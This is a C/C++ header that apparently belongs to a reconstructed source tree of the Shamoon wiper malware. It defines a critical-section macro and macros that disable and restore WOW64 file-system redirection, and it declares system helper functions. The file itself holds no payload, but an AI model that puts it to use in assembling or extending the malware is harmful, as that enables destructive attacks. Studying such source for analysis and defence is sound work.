// Copyright 2015 Christian Roggia. All rights reserved.
// Use of this source code is governed by an Apache 2.0 license that can be
// found in the LICENSE file.

#include "../Global/Global.h"

#define SYSTEM_CRITICAL_SECTION(a) \
{ \
	EnterCriticalSection(&g_critical_section); \
	a \
	LeaveCriticalSection(&g_critical_section); \
}

#define EXIT_WOW64_FILE_OPERATION Shamoon::Utils::System::_Wow64RevertWow64FsRedirection(OldValue);

#define EXECUTE_WOW64_FILE_OPERATION(a) \
{ \
	PVOID OldValue = 0; \
	Shamoon::Utils::System::_Wow64DisableWow64FsRedirection(&OldValue); \
	a \
	EXIT_WOW64_FILE_OPERATION \
}

namespace Shamoon { namespace Utils { namespace System {
	int _Wow64DisableWow64FsRedirection(PVOID *OldValue);
	int _Wow64RevertWow64FsRedirection(PVOID OlValue);
	
	bool Is32Bit();
}}}